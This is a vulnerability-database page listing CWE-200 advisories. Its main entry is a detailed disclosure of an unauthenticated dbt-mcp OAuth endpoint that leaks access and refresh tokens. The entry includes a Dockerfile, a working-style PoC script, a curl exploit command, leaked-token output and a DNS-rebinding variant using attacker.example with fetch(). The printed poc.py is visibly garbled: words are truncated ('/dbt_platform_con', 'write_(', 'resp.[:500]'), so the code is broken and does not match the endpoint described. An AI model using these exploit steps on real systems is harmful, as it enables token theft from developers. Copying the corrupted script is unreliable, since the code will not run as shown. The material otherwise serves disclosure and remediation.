CWE-200
DiscouragedExposure of Sensitive Information to an Unauthorized Actor
Abstraction: Class · Status: Draft
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
14246 vulnerabilities reference this CWE, most recent first.
GHSA-JQW5-MCM2-2GP8
Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2022-05-14 02:57The add function in www/Lib/Lib/Action/Admin/TplAction.class.php in Gxlcms v1.1.4 allows remote attackers to read arbitrary files via a crafted index.php?s=Admin-Tpl-ADD-id request, related to Lib/Common/Admin/function.php.
{
"affected": [],
"aliases": [
"CVE-2018-14685"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-28T23:29:00Z",
"severity": "CRITICAL"
},
"details": "The add function in www/Lib/Lib/Action/Admin/TplAction.class.php in Gxlcms v1.1.4 allows remote attackers to read arbitrary files via a crafted index.php?s=Admin-Tpl-ADD-id request, related to Lib/Common/Admin/function.php.",
"id": "GHSA-jqw5-mcm2-2gp8",
"modified": "2022-05-14T02:57:59Z",
"published": "2022-05-14T02:57:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14685"
},
{
"type": "WEB",
"url": "https://github.com/TonyKentClark/MyCodeAudit/blob/master/gxlcms1.1.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JR28-CRCF-PGH6
Vulnerability from github – Published: 2025-04-27 12:30 – Updated: 2025-04-27 12:30A vulnerability was found in itwanger paicoding 1.0.3 and classified as problematic. Affected by this issue is some unknown functionality of the file /user/home?userId=1&homeSelectType=read of the component Browsing History Handler. The manipulation leads to information disclosure. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2025-3966"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-27T10:15:15Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in itwanger paicoding 1.0.3 and classified as problematic. Affected by this issue is some unknown functionality of the file /user/home?userId=1\u0026homeSelectType=read of the component Browsing History Handler. The manipulation leads to information disclosure. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-jr28-crcf-pgh6",
"modified": "2025-04-27T12:30:26Z",
"published": "2025-04-27T12:30:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3966"
},
{
"type": "WEB",
"url": "https://github.com/uglory-gll/javasec/blob/main/paicoding.md"
},
{
"type": "WEB",
"url": "https://github.com/uglory-gll/javasec/blob/main/paicoding.md#21userhomeuserid1homeselecttyperead-view-browsing-history-of-others"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.306302"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.306302"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.557250"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-JR33-MW75-7J8F
Vulnerability from github – Published: 2026-06-19 21:15 – Updated: 2026-06-19 21:15Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens
Summary
The local OAuth helper FastAPI server bundled with dbt-mcp exposes the GET /dbt_platform_context endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full DbtPlatformContext object — including the victim's access_token and refresh_token for the dbt Platform API — verbatim to any caller that can reach 127.0.0.1:6785. An attacker who can direct the victim's browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token's expiry. CVSS Base Score: 8.0 (High).
Details
During the OAuth login flow, dbt-mcp launches an embedded FastAPI server (the "OAuth helper") bound to 127.0.0.1 starting on port 6785 (configured at src/dbt_mcp/config/credentials.py:34, OAUTH_REDIRECT_STARTING_PORT = 6785). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.
Data flow from source to sink:
- Source —
src/dbt_mcp/oauth/fastapi_app.py:106: The OAuth callback receivestoken_responsefrom the dbt Platform authorization server. src/dbt_mcp/oauth/dbt_platform.py:60:AccessTokenResponse(**token_response)storesaccess_tokenandrefresh_tokenas plaintext fields.src/dbt_mcp/oauth/dbt_platform.py:64–69: TheAccessTokenResponseis embedded insideDecodedAccessToken, which is in turn embedded insideDbtPlatformContext.src/dbt_mcp/oauth/fastapi_app.py:114: The fully token-bearingDbtPlatformContextobject is passed tocontext_managerfor persistence.- Persistence sink —
src/dbt_mcp/oauth/context_manager.py:63–64:yaml.dump(context.model_dump())serializes the entire model — including tokens — to a YAML file on disk. - HTTP sink —
src/dbt_mcp/oauth/fastapi_app.py:162–165: TheGET /dbt_platform_contextroute reads the YAML file back and returns the rawDbtPlatformContextobject with no redaction.
# src/dbt_mcp/oauth/fastapi_app.py:162-165
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
logger.info("Selected project received")
return dbt_platform_context_manager.read_context() or DbtPlatformContext()
# src/dbt_mcp/oauth/dbt_platform.py:8-14
class AccessTokenResponse(BaseModel):
access_token: str
refresh_token: str
...
class DbtPlatformContext(BaseModel):
decoded_access_token: DecodedAccessToken | None = None
...
Missing protections (confirmed by grep):
- No
TrustedHostMiddleware— the server accepts requests with arbitraryHostheaders, enabling DNS rebinding. - No
CORSMiddleware— no cross-origin restrictions on which sites can read the response. - No CSRF protection, no session nonce, no
Originheader validation. - The route has no FastAPI
Depends()security dependency.
A grep -Rni "TrustedHostMiddleware\|CORSMiddleware\|csrf\|origin" across the OAuth FastAPI application returns no results.
Recommended remediation:
--- a/src/dbt_mcp/oauth/fastapi_app.py
+++ b/src/dbt_mcp/oauth/fastapi_app.py
+from starlette.middleware.trustedhost import TrustedHostMiddleware
+
+def _redact_context(context: DbtPlatformContext | None) -> DbtPlatformContext:
+ if context is None:
+ return DbtPlatformContext()
+ return context.model_copy(update={"decoded_access_token": None})
app = FastAPI()
+ app.add_middleware(
+ TrustedHostMiddleware,
+ allowed_hosts=["localhost", "127.0.0.1"],
+ )
@app.get("/dbt_platform_context")
def get_dbt_platform_context() -> DbtPlatformContext:
logger.info("Selected project received")
- return dbt_platform_context_manager.read_context() or DbtPlatformContext()
+ return _redact_context(dbt_platform_context_manager.read_context())
PoC
Prerequisites:
dbt-mcpv1.19.1 installed in a Python 3.12 environment.- The following runtime dependencies available:
authlib~=1.6.7,fastapi~=0.128.0,uvicorn~=0.38.0,pyyaml~=6.0.2,httpx~=0.28.1,starlette~=0.50.0,pydantic~=2.0,pydantic-settings~=2.10.1. - No
DBT_TOKENset (OAuth flow mode active).
Step 1 — Build the Docker test environment:
docker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .
The Dockerfile installs only the OAuth helper's runtime dependencies and copies src/ and poc.py:
FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir \
"authlib~=1.6.7" "fastapi~=0.128.0" "uvicorn~=0.38.0" \
"pyjwt~=2.12.0" "pyyaml~=6.0.2" "httpx~=0.28.1" \
"filelock~=3.20.3" "starlette~=0.50.0" "requests>=2.28" \
"pydantic~=2.0" "pydantic-settings~=2.10.1"
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
Step 2 — Run the PoC:
docker run --rm --network=host vuln001-dbt-mcp
The PoC script (poc.py) performs the following automatically:
- Writes a realistic fake OAuth context YAML to
/tmp/dbt_poc_mcp.yml, simulating a victim who has already completed the OAuth login flow. - Instantiates the real
create_app()fromsrc/dbt_mcp/oauth/fastapi_app.pyusingDbtPlatformContextManagerbacked by the pre-seeded file. - Starts the server on
127.0.0.1:16785in a background thread. - Issues an unauthenticated
GET /dbt_platform_contextwith noAuthorizationheader. - Asserts that
access_tokenandrefresh_tokenare returned verbatim.
Equivalent manual curl (against the live OAuth helper during actual OAuth flow):
# While the victim is running the OAuth login flow:
export DBT_HOST='cloud.getdbt.com'
unset DBT_TOKEN
dbt-mcp # OAuth helper starts on 127.0.0.1:6785
# From any co-located process (or a DNS-rebinding browser page):
curl -s 'http://127.0.0.1:6785/dbt_platform_context' \
| jq '.decoded_access_token.access_token_response'
Expected output (Phase 2 observed):
[*] HTTP Status: 200
[*] Full response JSON:
{
"decoded_access_token": {
"access_token_response": {
"access_token": "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER",
"refresh_token": "dbt-platform-offline-refresh-SUPERSECRET-abc123",
"expires_in": 3600,
"scope": "user_access offline_access",
"token_type": "Bearer",
"expires_at": 9999999999
},
...
},
...
}
[!] LEAKED access_token : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER
[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123
[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!
DNS rebinding variant:
A malicious website can resolve attacker.example to 127.0.0.1 after the browser's DNS TTL expires ("DNS rebinding"). Because the helper accepts any Host header, the browser treats http://attacker.example:6785 as same-origin and fetches /dbt_platform_context via JavaScript fetch(), obtaining the full token JSON across the network without any local access.
Impact
Any local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim's browser during or after the OAuth login session, can retrieve the victim's full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The access_token grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The refresh_token (with offline_access scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.
This vulnerability is a Missing Authentication for Critical Function (CWE-306). Any developer machine running dbt-mcp with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because dbt-mcp is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
WORKDIR /app
# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed
# because fastapi_app.py's import chain doesn't touch them)
RUN pip install --no-cache-dir \
"authlib~=1.6.7" \
"fastapi~=0.128.0" \
"uvicorn~=0.38.0" \
"pyjwt~=2.12.0" \
"pyyaml~=6.0.2" \
"httpx~=0.28.1" \
"filelock~=3.20.3" \
"starlette~=0.50.0" \
"requests>=2.28" \
"pydantic~=2.0" \
"pydantic-settings~=2.10.1"
# Copy only the source tree needed for the OAuth server
COPY repo/src /app/src
ENV PYTHONPATH=/app/src
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens
Attack scenario:
- dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.
- After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.
- GET /dbt_platform_con is accessible with NO authentication at all.
- Any process on the same host (or a DNS-rebinding browser page) can call it
and receive the full access_token + refresh_token.
This PoC:
1. Pre-seeds a con file with fake-but-realistic OAuth tokens
(simulating a victim who has already completed the OAuth flow).
2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.
3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).
4. Confirms the tokens are returned verbatim.
"""
import asyncio
import json
import os
import sys
import tempfile
import threading
import time
from pathlib import Path
import httpx
import uvicorn
import yaml
# Fake tokens that simulate a victim's completed OAuth session.
FAKE_ACCESS_TOKEN = "eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER"
FAKE_REFRESH_TOKEN = "dbt-platform-offline-refresh-SUPERSECRET-abc123"
FAKE_CONTEXT = {
"decoded_access_token": {
"access_token_response": {
"access_token": FAKE_ACCESS_TOKEN,
"refresh_token": FAKE_REFRESH_TOKEN,
"expires_in": 3600,
"scope": "user_access offline_access",
"token_type": "Bearer",
"expires_at": 9999999999,
},
"decoded_claims": {
"sub": "99999",
"iat": 1700000000,
"exp": 9999999999,
},
},
"host_prefix": "victimco",
"dbt_host": "cloud.getdbt.com",
"account_id": 42,
"selected_project_ids": None,
"dev_environment": None,
"prod_environment": None,
}
PORT = 16785
def start_server(context_file: Path, static_dir: str) -> None:
"""Run the actual vulnerable FastAPI app in a background thread."""
from authlib.integrations.requests_client import OAuth2Session
from dbt_mcp.oauth.context_manager import DbtPlatformContextManager
from dbt_mcp.oauth.fastapi_app import create_app
context_manager = DbtPlatformContextManager(context_file)
# A dummy OAuth client — only used by the /oauth-callback route,
# which this PoC never triggers.
fake_oauth_client = OAuth2Session(client_id="poc-dummy-client")
app = create_app(
oauth_client=fake_oauth_client,
state_to_verifier={},
dbt_platform_url="https://cloud.getdbt.com",
static_dir=static_dir,
dbt_platform_context_manager=context_manager,
)
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
config = uvicorn.Config(
app=app, host="127.0.0.1", port=PORT, log_level="error", loop="asyncio"
)
server = uvicorn.Server(config)
loop.run_until_complete(server.serve())
def wait_for_server(port: int, timeout: float = 15.0) -> bool:
import socket
deadline = time.time() + timeout
while time.time() < deadline:
try:
with socket.create_connection(("127.0.0.1", port), timeout=1):
return True
except OSError:
time.sleep(0.2)
return False
def main() -> int:
print("[*] VULN-001 PoC — Unauthenticated /dbt_platform_con token leak")
print("=" * 70)
# 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)
context_file = Path("/tmp/dbt_poc_mcp.yml")
context_file.write_(
yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding="utf-8"
)
print(f"[*] Con file written: {context_file}")
print(f" access_token : {FAKE_ACCESS_TOKEN}")
print(f" refresh_token : {FAKE_REFRESH_TOKEN}")
# 2. Minimal static dir so NoCacheStaticFiles mount doesn't error on startup
static_dir = tempfile.mkdtemp(prefix="dbt_poc_static_")
(Path(static_dir) / "index.html").write_("<html>dbt OAuth</html>")
# 3. Start the real vulnerable FastAPI server in a background thread
t = threading.Thread(
target=start_server, args=(context_file, static_dir), daemon=True
)
t.start()
print(f"\n[*] Waiting for FastAPI server to start on 127.0.0.1:{PORT} ...")
if not wait_for_server(PORT):
print("[-] FAIL: Server did not start within timeout.")
return 2
print("[*] Server is up.")
# 4. Send unauthenticated GET /dbt_platform_con (no Authorization header)
url = f"http://127.0.0.1:{PORT}/dbt_platform_con"
print(f"\n[*] Sending unauthenticated GET {url}")
try:
resp = httpx.get(url, timeout=10)
except Exception as exc:
print(f"[-] HTTP request failed: {exc}")
return 2
print(f"[*] HTTP Status: {resp.status_code}")
if resp.status_code != 200:
print(f"[-] FAIL: Expected 200, got {resp.status_code}")
print(f" Body: {resp.[:500]}")
return 1
try:
data = resp.json()
except Exception as exc:
print(f"[-] FAIL: Response is not JSON: {exc}\n Body: {resp.[:500]}")
return 1
print(f"\n[*] Full response JSON:\n{json.dumps(data, indent=2)}")
# 5. Verify that the tokens are in the response (no redaction, no auth required)
try:
leaked_access = (
data["decoded_access_token"]["access_token_response"]["access_token"]
)
leaked_refresh = (
data["decoded_access_token"]["access_token_response"]["refresh_token"]
)
except (KeyError, TypeError) as exc:
print(f"\n[-] FAIL: Token fields missing from response: {exc}")
return 1
print(f"\n[!] LEAKED access_token : {leaked_access}")
print(f"[!] LEAKED refresh_token : {leaked_refresh}")
if leaked_access == FAKE_ACCESS_TOKEN and leaked_refresh == FAKE_REFRESH_TOKEN:
print(
"\n[+] VULNERABILITY CONFIRMED:"
" Tokens returned from /dbt_platform_con WITHOUT authentication!"
)
return 0
else:
print("\n[-] FAIL: Returned tokens do not match expected values.")
print(f" Expected access_token : {FAKE_ACCESS_TOKEN}")
print(f" Got access_token : {leaked_access}")
return 1
if __name__ == "__main__":
sys.exit(main())
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "dbt-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55837"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-306",
"CWE-346"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:15:40Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Unauthenticated OAuth Context Endpoint Leaks dbt Platform Tokens\n\n### Summary\n\nThe local OAuth helper FastAPI server bundled with `dbt-mcp` exposes the `GET /dbt_platform_context` endpoint without any form of authentication or host-origin validation. After a user completes the OAuth login flow against dbt Cloud (cloud.getdbt.com), the endpoint returns the full `DbtPlatformContext` object \u2014 including the victim\u0027s `access_token` and `refresh_token` for the dbt Platform API \u2014 verbatim to any caller that can reach `127.0.0.1:6785`. An attacker who can direct the victim\u0027s browser to the helper origin via DNS rebinding, or who has co-located process access on the same host, can silently exfiltrate both tokens. The stolen bearer token grants full dbt Cloud API access as the victim; the refresh token enables persistent access beyond the original token\u0027s expiry. **CVSS Base Score: 8.0 (High).**\n\n### Details\n\nDuring the OAuth login flow, `dbt-mcp` launches an embedded FastAPI server (the \"OAuth helper\") bound to `127.0.0.1` starting on port `6785` (configured at `src/dbt_mcp/config/credentials.py:34`, `OAUTH_REDIRECT_STARTING_PORT = 6785`). After the OAuth callback is handled, the helper persists the full token context to disk and continues serving requests.\n\n**Data flow from source to sink:**\n\n1. **Source** \u2014 `src/dbt_mcp/oauth/fastapi_app.py:106`: The OAuth callback receives `token_response` from the dbt Platform authorization server.\n2. `src/dbt_mcp/oauth/dbt_platform.py:60`: `AccessTokenResponse(**token_response)` stores `access_token` and `refresh_token` as plaintext fields.\n3. `src/dbt_mcp/oauth/dbt_platform.py:64\u201369`: The `AccessTokenResponse` is embedded inside `DecodedAccessToken`, which is in turn embedded inside `DbtPlatformContext`.\n4. `src/dbt_mcp/oauth/fastapi_app.py:114`: The fully token-bearing `DbtPlatformContext` object is passed to `context_manager` for persistence.\n5. **Persistence sink** \u2014 `src/dbt_mcp/oauth/context_manager.py:63\u201364`: `yaml.dump(context.model_dump())` serializes the entire model \u2014 including tokens \u2014 to a YAML file on disk.\n6. **HTTP sink** \u2014 `src/dbt_mcp/oauth/fastapi_app.py:162\u2013165`: The `GET /dbt_platform_context` route reads the YAML file back and returns the raw `DbtPlatformContext` object with no redaction.\n\n```python\n# src/dbt_mcp/oauth/fastapi_app.py:162-165\n@app.get(\"/dbt_platform_context\")\ndef get_dbt_platform_context() -\u003e DbtPlatformContext:\n logger.info(\"Selected project received\")\n return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n```\n\n```python\n# src/dbt_mcp/oauth/dbt_platform.py:8-14\nclass AccessTokenResponse(BaseModel):\n access_token: str\n refresh_token: str\n ...\n\nclass DbtPlatformContext(BaseModel):\n decoded_access_token: DecodedAccessToken | None = None\n ...\n```\n\n**Missing protections (confirmed by grep):**\n\n- No `TrustedHostMiddleware` \u2014 the server accepts requests with arbitrary `Host` headers, enabling DNS rebinding.\n- No `CORSMiddleware` \u2014 no cross-origin restrictions on which sites can read the response.\n- No CSRF protection, no session nonce, no `Origin` header validation.\n- The route has no FastAPI `Depends()` security dependency.\n\nA `grep -Rni \"TrustedHostMiddleware\\|CORSMiddleware\\|csrf\\|origin\"` across the OAuth FastAPI application returns no results.\n\n**Recommended remediation:**\n\n```diff\n--- a/src/dbt_mcp/oauth/fastapi_app.py\n+++ b/src/dbt_mcp/oauth/fastapi_app.py\n+from starlette.middleware.trustedhost import TrustedHostMiddleware\n+\n+def _redact_context(context: DbtPlatformContext | None) -\u003e DbtPlatformContext:\n+ if context is None:\n+ return DbtPlatformContext()\n+ return context.model_copy(update={\"decoded_access_token\": None})\n\n app = FastAPI()\n+ app.add_middleware(\n+ TrustedHostMiddleware,\n+ allowed_hosts=[\"localhost\", \"127.0.0.1\"],\n+ )\n\n @app.get(\"/dbt_platform_context\")\n def get_dbt_platform_context() -\u003e DbtPlatformContext:\n logger.info(\"Selected project received\")\n- return dbt_platform_context_manager.read_context() or DbtPlatformContext()\n+ return _redact_context(dbt_platform_context_manager.read_context())\n```\n\n### PoC\n\n**Prerequisites:**\n\n- `dbt-mcp` v1.19.1 installed in a Python 3.12 environment.\n- The following runtime dependencies available: `authlib~=1.6.7`, `fastapi~=0.128.0`, `uvicorn~=0.38.0`, `pyyaml~=6.0.2`, `httpx~=0.28.1`, `starlette~=0.50.0`, `pydantic~=2.0`, `pydantic-settings~=2.10.1`.\n- No `DBT_TOKEN` set (OAuth flow mode active).\n\n**Step 1 \u2014 Build the Docker test environment:**\n\n```bash\ndocker build -t vuln001-dbt-mcp -f vuln-001/Dockerfile .\n```\n\nThe `Dockerfile` installs only the OAuth helper\u0027s runtime dependencies and copies `src/` and `poc.py`:\n\n```dockerfile\nFROM python:3.12-slim\nWORKDIR /app\nRUN pip install --no-cache-dir \\\n \"authlib~=1.6.7\" \"fastapi~=0.128.0\" \"uvicorn~=0.38.0\" \\\n \"pyjwt~=2.12.0\" \"pyyaml~=6.0.2\" \"httpx~=0.28.1\" \\\n \"filelock~=3.20.3\" \"starlette~=0.50.0\" \"requests\u003e=2.28\" \\\n \"pydantic~=2.0\" \"pydantic-settings~=2.10.1\"\nCOPY repo/src /app/src\nENV PYTHONPATH=/app/src\nCOPY vuln-001/poc.py /app/poc.py\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n**Step 2 \u2014 Run the PoC:**\n\n```bash\ndocker run --rm --network=host vuln001-dbt-mcp\n```\n\nThe PoC script (`poc.py`) performs the following automatically:\n\n1. Writes a realistic fake OAuth context YAML to `/tmp/dbt_poc_mcp.yml`, simulating a victim who has already completed the OAuth login flow.\n2. Instantiates the **real** `create_app()` from `src/dbt_mcp/oauth/fastapi_app.py` using `DbtPlatformContextManager` backed by the pre-seeded file.\n3. Starts the server on `127.0.0.1:16785` in a background thread.\n4. Issues an unauthenticated `GET /dbt_platform_context` with no `Authorization` header.\n5. Asserts that `access_token` and `refresh_token` are returned verbatim.\n\n**Equivalent manual curl (against the live OAuth helper during actual OAuth flow):**\n\n```bash\n# While the victim is running the OAuth login flow:\nexport DBT_HOST=\u0027cloud.getdbt.com\u0027\nunset DBT_TOKEN\ndbt-mcp # OAuth helper starts on 127.0.0.1:6785\n\n# From any co-located process (or a DNS-rebinding browser page):\ncurl -s \u0027http://127.0.0.1:6785/dbt_platform_context\u0027 \\\n | jq \u0027.decoded_access_token.access_token_response\u0027\n```\n\n**Expected output (Phase 2 observed):**\n\n```\n[*] HTTP Status: 200\n[*] Full response JSON:\n{\n \"decoded_access_token\": {\n \"access_token_response\": {\n \"access_token\": \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\",\n \"refresh_token\": \"dbt-platform-offline-refresh-SUPERSECRET-abc123\",\n \"expires_in\": 3600,\n \"scope\": \"user_access offline_access\",\n \"token_type\": \"Bearer\",\n \"expires_at\": 9999999999\n },\n ...\n },\n ...\n}\n[!] LEAKED access_token : eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\n[!] LEAKED refresh_token : dbt-platform-offline-refresh-SUPERSECRET-abc123\n[+] VULNERABILITY CONFIRMED: Tokens returned from /dbt_platform_context WITHOUT authentication!\n```\n\n**DNS rebinding variant:**\n\nA malicious website can resolve `attacker.example` to `127.0.0.1` after the browser\u0027s DNS TTL expires (\"DNS rebinding\"). Because the helper accepts any `Host` header, the browser treats `http://attacker.example:6785` as same-origin and fetches `/dbt_platform_context` via JavaScript `fetch()`, obtaining the full token JSON across the network without any local access.\n\n### Impact\n\nAny local process running as any user on the same host, or a remote attacker who exploits DNS rebinding against a victim\u0027s browser during or after the OAuth login session, can retrieve the victim\u0027s full dbt Cloud OAuth tokens with a single unauthenticated HTTP GET request. The `access_token` grants immediate bearer-token access to the dbt Cloud REST and GraphQL APIs on behalf of the victim. The `refresh_token` (with `offline_access` scope) allows the attacker to obtain new access tokens after the original expires, providing persistent unauthorized access until the victim manually revokes the OAuth grant. An attacker with these tokens can read or modify dbt projects, run jobs, access environment secrets, and exfiltrate data lineage and warehouse credentials stored in dbt Cloud.\n\nThis vulnerability is a **Missing Authentication for Critical Function** (CWE-306). Any developer machine running `dbt-mcp` with OAuth-mode authentication is affected for the duration of the OAuth helper process lifetime. Because `dbt-mcp` is a developer tool, the primary victims are individual developers and their associated dbt Cloud organization accounts.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nWORKDIR /app\n\n# Install minimal runtime dependencies (no heavy dbt-protos/dbt-sl-sdk needed\n# because fastapi_app.py\u0027s import chain doesn\u0027t touch them)\nRUN pip install --no-cache-dir \\\n \"authlib~=1.6.7\" \\\n \"fastapi~=0.128.0\" \\\n \"uvicorn~=0.38.0\" \\\n \"pyjwt~=2.12.0\" \\\n \"pyyaml~=6.0.2\" \\\n \"httpx~=0.28.1\" \\\n \"filelock~=3.20.3\" \\\n \"starlette~=0.50.0\" \\\n \"requests\u003e=2.28\" \\\n \"pydantic~=2.0\" \\\n \"pydantic-settings~=2.10.1\"\n\n# Copy only the source tree needed for the OAuth server\nCOPY repo/src /app/src\n\nENV PYTHONPATH=/app/src\n\nCOPY vuln-001/poc.py /app/poc.py\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Unauthenticated OAuth Con Endpoint Leaks dbt Platform Tokens\n\nAttack scenario:\n - dbt-mcp runs a local FastAPI OAuth helper on 127.0.0.1:6785 during login.\n - After the OAuth flow completes, tokens are persisted to ~/.dbt/mcp.yml.\n - GET /dbt_platform_con is accessible with NO authentication at all.\n - Any process on the same host (or a DNS-rebinding browser page) can call it\n and receive the full access_token + refresh_token.\n\nThis PoC:\n 1. Pre-seeds a con file with fake-but-realistic OAuth tokens\n (simulating a victim who has already completed the OAuth flow).\n 2. Starts the real vulnerable FastAPI app from src/dbt_mcp/oauth/fastapi_app.py.\n 3. Issues an unauthenticated HTTP GET /dbt_platform_con (no auth header).\n 4. Confirms the tokens are returned verbatim.\n\"\"\"\n\nimport asyncio\nimport json\nimport os\nimport sys\nimport tempfile\nimport threading\nimport time\nfrom pathlib import Path\n\nimport httpx\nimport uvicorn\nimport yaml\n\n# Fake tokens that simulate a victim\u0027s completed OAuth session.\nFAKE_ACCESS_TOKEN = \"eyJhbGciOiJSUzI1NiJ9.VICTIM_ACCESS_TOKEN_PLACEHOLDER\"\nFAKE_REFRESH_TOKEN = \"dbt-platform-offline-refresh-SUPERSECRET-abc123\"\n\nFAKE_CONTEXT = {\n \"decoded_access_token\": {\n \"access_token_response\": {\n \"access_token\": FAKE_ACCESS_TOKEN,\n \"refresh_token\": FAKE_REFRESH_TOKEN,\n \"expires_in\": 3600,\n \"scope\": \"user_access offline_access\",\n \"token_type\": \"Bearer\",\n \"expires_at\": 9999999999,\n },\n \"decoded_claims\": {\n \"sub\": \"99999\",\n \"iat\": 1700000000,\n \"exp\": 9999999999,\n },\n },\n \"host_prefix\": \"victimco\",\n \"dbt_host\": \"cloud.getdbt.com\",\n \"account_id\": 42,\n \"selected_project_ids\": None,\n \"dev_environment\": None,\n \"prod_environment\": None,\n}\n\nPORT = 16785\n\n\ndef start_server(context_file: Path, static_dir: str) -\u003e None:\n \"\"\"Run the actual vulnerable FastAPI app in a background thread.\"\"\"\n from authlib.integrations.requests_client import OAuth2Session\n from dbt_mcp.oauth.context_manager import DbtPlatformContextManager\n from dbt_mcp.oauth.fastapi_app import create_app\n\n context_manager = DbtPlatformContextManager(context_file)\n\n # A dummy OAuth client \u2014 only used by the /oauth-callback route,\n # which this PoC never triggers.\n fake_oauth_client = OAuth2Session(client_id=\"poc-dummy-client\")\n\n app = create_app(\n oauth_client=fake_oauth_client,\n state_to_verifier={},\n dbt_platform_url=\"https://cloud.getdbt.com\",\n static_dir=static_dir,\n dbt_platform_context_manager=context_manager,\n )\n\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n config = uvicorn.Config(\n app=app, host=\"127.0.0.1\", port=PORT, log_level=\"error\", loop=\"asyncio\"\n )\n server = uvicorn.Server(config)\n loop.run_until_complete(server.serve())\n\n\ndef wait_for_server(port: int, timeout: float = 15.0) -\u003e bool:\n import socket\n\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n with socket.create_connection((\"127.0.0.1\", port), timeout=1):\n return True\n except OSError:\n time.sleep(0.2)\n return False\n\n\ndef main() -\u003e int:\n print(\"[*] VULN-001 PoC \u2014 Unauthenticated /dbt_platform_con token leak\")\n print(\"=\" * 70)\n\n # 1. Pre-seed con file (victim has completed OAuth; tokens are on disk)\n context_file = Path(\"/tmp/dbt_poc_mcp.yml\")\n context_file.write_(\n yaml.dump(FAKE_CONTEXT, default_flow_style=False), encoding=\"utf-8\"\n )\n print(f\"[*] Con file written: {context_file}\")\n print(f\" access_token : 